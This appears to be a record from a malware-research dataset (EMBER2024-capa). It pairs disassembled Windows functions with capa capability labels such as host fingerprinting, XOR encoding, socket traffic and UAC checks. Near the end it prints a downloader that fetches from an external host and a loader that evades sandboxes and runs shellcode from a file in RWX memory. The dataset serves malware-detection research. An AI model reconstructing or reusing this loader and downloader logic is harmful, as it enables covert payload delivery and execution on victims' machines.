joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4365c3
Capabilities:
Check os version

Disassembly:
push ebp
sub esp, 0x130
lea ebp, [esp - 4]
mov eax, dword [0x46f1b0]
xor eax, ebp
mov dword [ebp + 0x130], eax
push 8
mov eax, 0x456a7e
call fcn.004442d3
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
push 0x45e59a
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x14], ebx
call fcn.00402830
mov esi, 0x94
push esi
lea eax, [ebp + 0x9c]
push ebx
mov dword [ebp - 4], ebx
push eax
mov dword [ebp - 0x14], 1
call fcn.004424a0
add esp, 0xc
lea eax, [ebp + 0x9c]
mov dword [ebp + 0x9c], esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetVersionExA]
push eax
call esi
test eax, eax
je 0x436773
cmp dword [ebp + 0xac], ebx
jne 0x436664
push 0xa
push 0xd24
push 0x462868
call fcn.00433609
add esp, 0xc
push eax
mov ecx, edi
call fcn.00402920
jmp 0x436773
cmp dword [ebp + 0xac], 1
jne 0x4366d4
push 7
push 0x2233
push 0x462874
call fcn.00433609
add esp, 0xc
push eax
mov ecx, edi
call fcn.00402920
cmp dword [ebp + 0xa4], 0x5a
push 3
jb 0x4366a0
push 0x2eae
push 0x46287c
jmp 0x4366bf
cmp dword [ebp + 0xa4], 0xa
jb 0x4366b5
push 0x2230
push 0x462880
jmp 0x4366bf
push 0x3831
push 0x462884
call fcn.00433609
add esp, 0xc
push eax
mov ecx, edi
call fcn.00410930
jmp 0x436773
cmp dword [ebp + 0xac], 2
jne 0x436773
mov edi, 0x9c
push edi
lea eax, [ebp]
push ebx
push eax
call fcn.004424a0
add esp, 0xc
lea eax, [ebp]
push eax
mov dword [ebp], edi
call esi
test eax, eax
je 0x43673d
lea eax, [ebp + 0x14]
push eax
movzx eax, word [ebp + 0x96]
push eax
movzx eax, word [ebp + 0x94]
push eax
push dword [ebp + 8]
push dword [ebp + 4]
push 0x1b
push 0x2993
push str._0____D_U_D_U_D_U_D_U_vID_
call fcn.00433609
mov edi, dword [ebp - 0x10]
add esp, 0xc
push eax
call fcn.004056f0
add esp, 0x18
jmp 0x436770
lea eax, [ebp + 0xb0]
push eax
push dword [ebp + 0xa4]
push dword [ebp + 0xa0]
push 0x13
push 0x1f91
push str._0____D_U_D_U_vID_
call fcn.00433609
mov edi, dword [ebp - 0x10]
add esp, 0xc
push eax
call fcn.004056f0
add esp, 0x10
mov edi, dword [ebp - 0x10]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x130]
xor ecx, ebp
call fcn.0043ea6a
add ebp, 0x134
leave
ret
Function at 0x436dd0
Capabilities:
Encode data using xor
Get disk information
Get mac address on windows
Hash data with crc32

Disassembly:
push ebp
lea ebp, [esp - 0x28a8]
mov eax, 0x28a8
call fcn.0044c240
push 0xffffffffffffffff
push 0x45695a
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x46f1b0]
xor eax, ebp
mov dword [ebp + 0x28a4], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
push 0x10
lea eax, [ebp + 0x2880]
mov dword [ebp - 4], esi
mov ebx, ecx
push esi
push eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x28], esi
call fcn.004424a0
add esp, 0xc
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
push esi
push 4
push 0x37c7
push 0x4628fc
mov dword [ebp - 0x1c], esi
call fcn.00433609
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + 0x2880], eax
mov eax, 0x2880
push eax
mov dword [ebp - 0x24], eax
lea eax, [ebp]
push esi
push eax
call fcn.004424a0
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp]
push eax
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, esi
jne 0x436ef0
mov eax, dword [ebp + 0x190]
cmp eax, esi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], esi
jle 0x436ef0
lea ecx, [ebp - 0x18]
call fcn.00403620
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 4], 1
lea ebx, [ebp + ebx + 0x194]
movzx eax, byte [ebx]
push eax
push 5
push 0x45e
push 0x462904
call fcn.00433609
add esp, 0xc
push eax
lea edi, [ebp - 0x18]
call fcn.004056f0
mov al, byte [ebx]
mov edi, dword [ebp - 0x10]
pop ecx
pop ecx
lea ecx, [ebp - 0x18]
mov byte [ebp + edi + 0x288a], al
call fcn.004028e0
inc edi
cmp edi, dword [ebp - 0x14]
mov dword [ebp - 0x10], edi
jl 0x436e94
mov ebx, dword [ebp - 0x20]
push 0x10
lea eax, [ebp + 0x2880]
push eax
lea eax, [ebp + 0x2890]
push eax
call fcn.00442f70
add esp, 0xc
or ecx, 0xffffffff
xor eax, eax
mov dl, byte [ebp + eax + 0x2890]
mov edi, ecx
and edi, 0xff
movzx edx, dl
xor edi, edx
shr ecx, 8
xor ecx, dword [edi*4 + 0x470498]
inc eax
cmp eax, 0x10
jb 0x436f0d
push 4
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0x28a0]
not ecx
push eax
mov dword [ebp - 0x14], ecx
call fcn.00442f70
add esp, 0xc
mov ecx, ebx
call fcn.00403620
mov dword [ebp - 4], esi
mov dword [ebp - 0x28], 1
lea edi, [ebp + esi + 0x2890]
mov al, byte [edi]
shr al, 4
cmp al, 9
jbe 0x436f70
add al, 0x37
jmp 0x436f72
add al, 0x30
mov byte [ebp - 0x10], al
push dword [ebp - 0x10]
mov ecx, ebx
call fcn.0040a3e0
movzx eax, byte [edi]
and eax, reloc.OLEAUT32.dll_SafeArrayDestroy
jns 0x436f8e
dec eax
or eax, 0xfffffff0
inc eax
cmp al, 9
jbe 0x436f96
add al, 0x37
jmp 0x436f98
add al, 0x30
mov byte [ebp - 0x10], al
push dword [ebp - 0x10]
mov ecx, ebx
call fcn.0040a3e0
inc esi
cmp esi, 0x14
jl 0x436f5c
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x28a4]
xor ecx, ebp
call fcn.0043ea6a
add ebp, 0x28a8
leave
ret
Function at 0x437712
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push 4
push 0
push 0
mov byte [ebp - 1], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x43777a
push esi
push edi
push 4
push 0xa
push 0x2b99
push str.0__P8P_
call fcn.00433609
add esp, 0xc
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x437775
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x437772
cmp dword [ebp - 0x1c], 4
sete byte [ebp - 1]
push edi
call esi
push ebx
call esi
pop edi
pop esi
mov al, byte [ebp - 1]
pop ebx
leave
ret

Function at 0x437780
Capabilities:
Get graphical window text

Disassembly:
push ebp
sub esp, 0x404
lea ebp, [esp - 4]
mov eax, dword [0x46f1b0]
xor eax, ebp
mov dword [ebp + 0x404], eax
push 8
mov eax, 0x45584a
call fcn.004442d3
and dword [ebp - 0x10], 0
mov ecx, esi
mov dword [ebp - 0x14], esi
call fcn.00403620
and dword [ebp - 4], 0
push 0x400
lea eax, [ebp]
push eax
push edi
mov dword [ebp - 0x10], 1
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov byte [ebp + eax], 0
lea eax, [ebp]
push eax
mov ecx, esi
call fcn.00402920
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x404]
xor ecx, ebp
call fcn.0043ea6a
add ebp, 0x408
leave
ret
Function at 0x437ce8
Capabilities:
Create process on windows

Disassembly:
push 0x64
mov eax, 0x457518
call fcn.004442d3
mov esi, ecx
mov eax, dword [esi]
xor ebx, ebx
mov byte [ebp - 0xd], bl
cmp dword [eax - 0xc], ebx
jne 0x437d12
push 0x80070057
call dword [sym.imp.KERNEL32.DLL_SetLastError]
jmp 0x437e5c
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.00434a97
pop ecx
pop ecx
push str.EnableLUA
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], ebx
call fcn.00402830
push 0x3f
push 0x20dc
push 0x462bf0
mov byte [ebp - 4], 1
call fcn.00433609
add esp, 0xc
push eax
lea ecx, [ebp - 0x18]
call fcn.00402830
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
xor eax, eax
mov byte [ebp - 4], 2
call fcn.00432a8a
pop ecx
pop ecx
test eax, eax
lea ecx, [ebp - 0x18]
seta byte [ebp - 0xe]
call fcn.004028e0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], bl
call fcn.004028e0
cmp byte [ebp - 0xe], bl
je 0x437dec
push dword [esi]
lea ecx, [ebp - 0x1c]
call fcn.00402830
mov byte [ebp - 4], 3
mov edi, dword [ebp - 0x1c]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
cmp byte [eax], bl
je 0x437de2
sub eax, edi
js 0x437de2
mov ecx, eax
mov eax, esi
call fcn.0040a170
mov byte [ebp - 0xe], al
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], bl
call fcn.00402e60
cmp byte [ebp - 0xe], 0x49
je 0x437dc8
cmp byte [ebp - 0xe], 0x69
jne 0x437dec
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.00402810
call fcn.00436952
pop ecx
mov byte [ebp - 0xd], al
jmp 0x437e54
push 0x80070057
call fcn.00401000
push 0x44
pop esi
push esi
lea eax, [ebp - 0x70]
push ebx
push eax
call fcn.004424a0
push 5
pop eax
push 0x10
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x2c]
push ebx
push eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x44], 1
call fcn.004424a0
add esp, 0x18
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x437e54
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov byte [ebp - 0xd], 1
cmp dword [ebp - 0x2c], ebx
je 0x437e4a
push dword [ebp - 0x2c]
call esi
cmp dword [ebp - 0x28], ebx
je 0x437e54
push dword [ebp - 0x28]
call esi
lea ecx, [ebp - 0x14]
call fcn.004028e0
mov al, byte [ebp - 0xd]
call fcn.00444372
ret
Function at 0x43a356
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, eax
add esi, 4
mov eax, dword [esi]
push edi
xor edi, edi
cmp eax, edi
je 0x43a374
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov dword [esi], edi
push 0x20
lea eax, [ebp - 0x20]
push edi
push eax
call fcn.004424a0
add esp, 0xc
push esi
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 0x20], edi
push dword [ebp + 8]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
pop edi
pop esi
leave
ret 8

Function at 0x43a4f8
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
xor ebx, ebx
cmp byte [esi + 0x44], bl
je 0x43a50a
mov al, 1
jmp 0x43a57c
mov eax, dword [esi + 0x40]
mov byte [ebp - 1], 1
cmp eax, 0xffffffff
jne 0x43a51a
xor al, al
jmp 0x43a57c
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_WSAConnect]
test eax, eax
je 0x43a576
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x43a570
push dword [esi + 0x4c]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
jne 0x43a573
push 0x2c
lea eax, [ebp - 0x30]
push ebx
push eax
call fcn.004424a0
add esp, 0xc
lea eax, [ebp - 0x30]
push eax
push ebx
push dword [esi + 0x40]
call dword [sym.imp.WS2_32.dll_WSAEnumNetworkEvents]
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
je 0x43a576
mov dword [esi + 0x48], eax
mov byte [ebp - 1], bl
mov al, byte [ebp - 1]
mov byte [esi + 0x44], al
pop ebx
leave
ret 8

Function at 0x43a581
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
push dword [esi + 0x4c]
mov edi, dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [esi + 0xc]
call edi
test eax, eax
je 0x43a5a8
mov dword [esi + 0x48], 0x2749
xor al, al
jmp 0x43a64f
push ebx
xor ebx, ebx
push ebx
push dword [esi + 8]
call edi
cmp eax, 0x102
jne 0x43a5c6
mov dword [esi + 0x48], 0x2734
xor al, al
jmp 0x43a64e
mov eax, dword [ebp + 0x10]
mov dword [eax], ebx
lea eax, [esi + 0x28]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov eax, dword [esi + 8]
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_WSAResetEvent]
push ebx
lea eax, [ebp - 0x18]
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x40]
call dword [sym.imp.WS2_32.dll_WSASend]
test eax, eax
je 0x43a60e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
jne 0x43a640
push dword [esi + 0x4c]
push dword [esi + 8]
call edi
test eax, eax
jne 0x43a643
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 0x10]
lea eax, [ebp - 0x18]
push eax
push dword [esi + 0x40]
mov dword [ebp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
test eax, eax
je 0x43a63a
mov bl, 1
jmp 0x43a643
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [esi + 0x48], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov al, bl
pop ebx
pop edi
leave
ret 0xc
Function at 0x43a654
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push dword [esi + 0x4c]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x43a678
mov dword [esi + 0x48], 0x2749
xor al, al
jmp 0x43a740
push ebx
xor ebx, ebx
push ebx
push dword [esi + 4]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
cmp eax, 0x80
jne 0x43a69a
mov dword [esi + 0x48], 0x2734
xor al, al
jmp 0x43a73f
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [edi]
push 0x14
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x20]
push ebx
push eax
mov dword [edi], ebx
mov dword [ebp - 4], ebx
call fcn.004424a0
lea eax, [esi + 0x10]
add esp, 0xc
push eax
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov eax, dword [esi + 4]
push eax
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_WSAResetEvent]
push ebx
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 4]
push eax
push edi
push 1
lea eax, [ebp - 0xc]
push eax
push dword [esi + 0x40]
call dword [sym.imp.WS2_32.dll_WSARecv]
test eax, eax
je 0x43a6fd
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
jne 0x43a731
push dword [esi + 0x4c]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
jne 0x43a734
lea eax, [ebp - 4]
push eax
push ebx
push edi
lea eax, [ebp - 0x20]
push eax
push dword [esi + 0x40]
mov dword [ebp - 4], ebx
call dword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
test eax, eax
je 0x43a72b
mov bl, 1
jmp 0x43a734
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [esi + 0x48], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov al, bl
pop ebx
leave
ret 4
Function at 0x43d913
Capabilities:
Initialize winsock library

Disassembly:
push ebx
push edi
lea edx, [esi + 0x10]
push 6
pop ecx
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov ecx, edx
call fcn.0040bf00
xor ebx, ebx
cmp eax, ebx
jge 0x43d934
push eax
call fcn.00401000
lea edx, [esi + 0x28]
push 6
pop ecx
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov ecx, edx
call fcn.0040bf00
cmp eax, ebx
jl 0x43d92e
or dword [esi + 0x40], 0xffffffff
mov dword [esi], 1
mov dword [esi + 0xc], ebx
mov dword [esi + 8], ebx
mov dword [esi + 4], ebx
mov byte [esi + 0x44], bl
mov dword [esi + 0x48], ebx
mov dword [esi + 0x4c], 0x2710
cmp dword [0x471800], ebx
je 0x43d985
push 0x471670
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [0x471800], eax
pop edi
mov eax, esi
pop ebx
ret

Function at 0x43df19
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
xor edi, edi
mov ebx, ecx
cmp dword [ebp + 0x10], edi
je 0x43df32
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.0043de0c
cmp dword [ebp + 0xc], edi
jle 0x43df4e
push esi
mov eax, dword [ebp + 8]
mov ecx, ebx
lea esi, [edi + eax]
call fcn.0043debd
xor byte [esi], al
inc edi
cmp edi, dword [ebp + 0xc]
jl 0x43df38
pop esi
pop edi
pop ebx
pop ebp
ret 0x10

Function at 0x43df6d
Capabilities:
Encode data using xor

Disassembly:
push 4
mov eax, 0x4549b0
call fcn.004442d3
mov edi, ecx
xor esi, esi
mov dword [ebp - 0x10], esi
push 0x45e59a
lea ecx, [ebp + 0x10]
mov dword [ebp - 4], 1
call fcn.00409d90
test eax, eax
je 0x43dfa6
mov eax, dword [ebp + 0x10]
push dword [eax - 0xc]
mov ecx, edi
push eax
call fcn.0043de0c
mov eax, dword [ebp + 0xc]
cmp dword [eax - 0xc], esi
jle 0x43dfd8
push esi
lea ecx, [ebp + 0xc]
call fcn.00428290
mov ecx, edi
mov bl, al
call fcn.0043debd
xor bl, al
movzx eax, bl
push eax
push esi
lea ecx, [ebp + 0xc]
call fcn.0043b927
mov eax, dword [ebp + 0xc]
inc esi
cmp esi, dword [eax - 0xc]
jl 0x43dfae
mov ecx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
call fcn.00402810
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.00401160
mov ecx, dword [ebp + 0x10]
add ecx, 0xfffffff0
call fcn.00401160
mov eax, dword [ebp + 8]
call fcn.00444372
ret 0xc
Function at 0x43e925
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4718a8], 0
push esi
jne 0x43e898
call fcn.0043e7be
test eax, eax
je 0x43e8db
mov eax, dword [0x4718a8]
cmp eax, 1
jne 0x43e8b9
push 0xd
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
test eax, eax
je 0x43e8db
pop esi
ret
push eax
call dword [0x4718b0]
test eax, eax
jne 0x43e923
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x43e8df
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x4718a8]
call dword [0x4718b0]
mov edi, eax
test edi, edi
je 0x43e904
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
jmp 0x43e920
mov edi, esi
add esi, 0xff0
push edi
push dword [0x4718a8]
call dword [0x4718ac]
add edi, 0x10
cmp edi, esi
jb 0x43e90c
mov eax, edi
pop edi
pop esi
ret
jmp 0x43e885

Function at 0x43ea6a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46f1b0]
jne 0x43ea74
repz ret
jmp fcn.00444acc

Function at 0x44f1ee
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0044564c
and dword [ebp - 4], 0
cmp dword [0x472344], 0
mov ebx, eax
jne 0x44f29f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x44f350
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x45db90
push edi
call esi
test eax, eax
je 0x44f350
push eax
call fcn.004455da
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x472344], eax
call esi
push eax
call fcn.004455da
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x472348], eax
call esi
push eax
call fcn.004455da
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x47234c], eax
call esi
push eax
call fcn.004455da
pop ecx
mov dword [0x472354], eax
test eax, eax
je 0x44f29f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004455da
pop ecx
mov dword [0x472350], eax
mov eax, dword [0x472350]
cmp eax, ebx
je 0x44f2f7
cmp dword [0x472354], ebx
je 0x44f2f7
push eax
call fcn.00445655
push dword [0x472354]
mov esi, eax
call fcn.00445655
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x44f2f7
test edi, edi
je 0x44f2f7
call esi
test eax, eax
je 0x44f2ee
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x44f2ee
test byte [ebp - 0xc], 1
jne 0x44f2f7
or dword [ebp + 0x10], 0x200000
jmp 0x44f330
mov eax, dword [0x472348]
cmp eax, ebx
je 0x44f330
push eax
call fcn.00445655
pop ecx
test eax, eax
je 0x44f330
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x44f330
mov eax, dword [0x47234c]
cmp eax, ebx
je 0x44f330
push eax
call fcn.00445655
pop ecx
test eax, eax
je 0x44f330
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x472344]
call fcn.00445655
pop ecx
test eax, eax
je 0x44f350
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x44f352
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40151d
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov eax, 0x418260
call fcn.00418070
mov eax, 0x10b8
call fcn.00412340
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.Download
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x40162f
push ebx
push 0x80000000
push ebx
push ebx
push str.http:__guanlix.cn:881_248.ccp
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x401626
lea eax, [ebp - 0xc4]
push eax
call fcn.00401c5c
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x6c], ebx
je 0x401600
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, 0x1000
jmp 0x4015ad
cmp dword [ebp - 0x14], ebx
jbe 0x4015c2
push ebx
push dword [ebp - 0x14]
lea eax, [ebp - 0x10c4]
push eax
lea eax, [ebp - 0xc4]
push eax
call fcn.0040185a
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0x10c4]
push eax
push dword [ebp - 0x18]
call esi
test eax, eax
jne 0x401591
lea eax, [ebp - 0xc0]
call fcn.0040268e
test eax, eax
jne 0x401600
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 4]
lea ecx, [ebp + ecx - 0xc4]
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x4015ef
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x401600
push ebx
call fcn.00401437
push dword [ebp - 0x18]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x64]
call fcn.00401dd7
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 0x64], vtable.std::ios_base.0
call fcn.004030cf
pop ecx
push dword [ebp - 0x1c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x40171f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
push edi
call esi
mov edi, 0x12c
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, ebx
sub eax, edi
cdq
mov edi, edx
mov esi, eax
push edi
push esi
push str.v4:_d_n
call fcn.00404c8e
xor esi, edi
sub esi, edi
add esp, 0xc
cmp esi, 0x64
jle 0x40176b
push str.sandbox____n
call fcn.00404c8e
pop ecx
xor esi, esi
push esi
push 0x80
push 4
push esi
push 1
push 0x80000000
push str.C:UsersPublicDownloadsind.cod
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
leave
ret